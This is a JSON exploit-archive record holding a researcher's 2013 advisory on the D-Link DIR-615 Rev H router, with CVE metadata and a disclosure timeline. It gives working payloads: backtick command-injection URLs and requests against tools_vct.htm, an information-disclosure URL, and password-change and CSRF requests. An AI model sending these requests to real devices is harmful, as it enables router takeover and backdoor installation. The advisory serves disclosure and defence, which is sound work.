{"exploit":{"id":"EDB-24477","name":"D-Link DIR-615 Rev H - Multiple Vulnerabilities","description":"D-Link DIR-615 Rev H - Multiple Vulnerabilities","cves":["CVE-2013-10059"],"author":"m-1-k-3","published":"2013-02-11","platform":"hardware","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24477","path":"exploits/hardware/webapps/24477.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24477.txt","vulnerabilities":[{"id":"CVE-2013-10059","state":"PUBLISHED","title":"D-Link Routers tools_vct.htm OS Command Injection","titleSource":"CVE Program","description":"An authenticated OS command injection vulnerability exists in various D-Link routers (tested on DIR-615H1 running firmware version 8.04) via the tools_vct.htm endpoint. The web interface fails to sanitize input passed from the ping_ipaddr parameter to the tools_vct.htm diagnostic interface, allowing attackers to inject arbitrary shell commands using backtick encapsulation. With default credentials, an attacker can exploit this blind injection vector to execute arbitrary commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10059","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-10059"},"updatedAt":"2026-05-15T11:14:16.812Z","retrievedAt":"2026-11-26T22:11:47.374Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24477.png?v=2","url":"https://exploitbin.com/exploits/EDB-24477","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24477/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24477/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Device Name: DIR-615 - Hardware revision H1\nVendor: D-Link\n\n============ Device Description: ============\n\nDelivering great wireless performance, network security and coverage, the D-Link Wireless N 300 Router (DIR-615) is ideal for upgrading your existing wireless home network.\n\nSource: http://www.dlink.com/us/en/support/product/dir-615-wireless-n-300-router\n\n============  Vulnerable Firmware Releases: ============\n\nFirmware Version :\t8.04, Tue, 4, Sep, 2012\nFirmware Version :\t8.04, Fri, 18, Jan, 2013\n\n\n============ Vulnerability Overview: ============\n\n\n* OS-Command Injection:\n\t=> Parameter: ping_ipaddr\n\nThe vulnerability is caused by missing input validation in the ping_ipaddr parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd or upload and execute a backdoor to compromise the device.\nYou need to be authenticated to the device or you have to find other methods for inserting the malicious commands.\n\nExample Exploit:\n\nhttp://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=\nhttp://<IP>/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr=\n\nRequest:\nGET /tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60uname%20-a%60&ping6_ipaddr= HTTP/1.1\nHost: 192.168.178.199\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0\nAccept: */*\nAccept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.178.199/adv_virtual_batch.htm\nConnection: keep-alive\n\nResponse:\nHTTP/1.0 200 OK\nPragma: no-cache\nContent-Type: text/html\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n<head>\n<script type=\"text/javascript\" src=\"common.js.htm\"></script>\n<script language=\"javascript\">\nCommJs({init:INC_COMM_PAGE,group:PAGE_GROUP_TOOLS});\nvar pingResult=\"Domain\";\nvar pingip=\"ipv4_1.1.1.1Linux DIR-615 2.6.21 #2 Fri Jan 18 16:42:24 CST 2013 mips unknown\";\t<<==\nvar vctinfo= [\n{ethport:'0', status:'0', rate:'0', dup:'0'},\n{ethport:'1', status:'0', rate:'0', dup:'0'},\n{ethport:'2', status:'0', rate:'0', dup:'0'},\n\nYou have wget on the device for downloading further tools.\n\n* Information Disclosure:\n\nDetailed device information with configuration details.\n\nRequest:\nhttp://192.168.178.199/gconfig.htm\n\nResponse:\nvar ModelName = 'DIR-615'; var systemName='DLINK-DIR615'; var FunctionList = {HAS_PRIORITY_WEB_ACCOUNT:1,PRIORITY_WEB_ACCOUNT_NUM:1,HAS_IPV6_AUTO_CONFIG:1,DHCPD_HAS_OPTION_66:1,SUPPORT_WPS_DISABLE_PINCODE:1,SUPPORT_IPV6_DSLITE:1,HAS_IPV6_6RD:0,NON_USED:0}\n\n* For changing the current password there is no request to the current password\n\nWith this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.\n\nPOST /tools_admin.htm HTTP/1.1\nHost: 192.168.178.199\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nProxy-Connection: keep-alive\nReferer: http://192.168.178.199/tools_admin.htm\nCookie: uid=wBIfbpFoJ9\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 77\n\npage=tools_admin&admin_password1=admin&admin_password2=admin&hostname=DIR-615\n\n* CSRF for changing the password without knowing the current one:\n\nhttp://192.168.178.199/tools_admin.htm?page=tools_admin&admin_password1=admin2&admin_password2=admin2&hostname=DIR-615\n\n============ Solution ============\n\nNo known solution available.\n\n============ Credits ============\n\nThe vulnerability was discovered by Michael Messner\nMail: devnull#at#s3cur1ty#dot#de\nWeb: http://www.s3cur1ty.de/advisories\nTwitter: @s3cur1ty_de\n\n============ Time Line: ============\n\nNovember 2012 - discovered vulnerability\n11.11.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/support/contact-support\n20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link\n21.12.2012 - D-link responded that they will check the findings *h00ray*\n11.01.2013 - requested status update\n25.01.2013 - requested status update\n25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix\nxx.02.2013 - no update from dlink, public release\n\n\n===================== Advisory end =====================","sha256":"5b740a03c289d43ce5a765c2ad3e0bdbb88664792e363728f716ce73ce7b30f2","bytes":4465,"fetchedAt":"2026-11-26T22:11:47.249Z","encoding":"utf-8 (display only; download retains original bytes)"}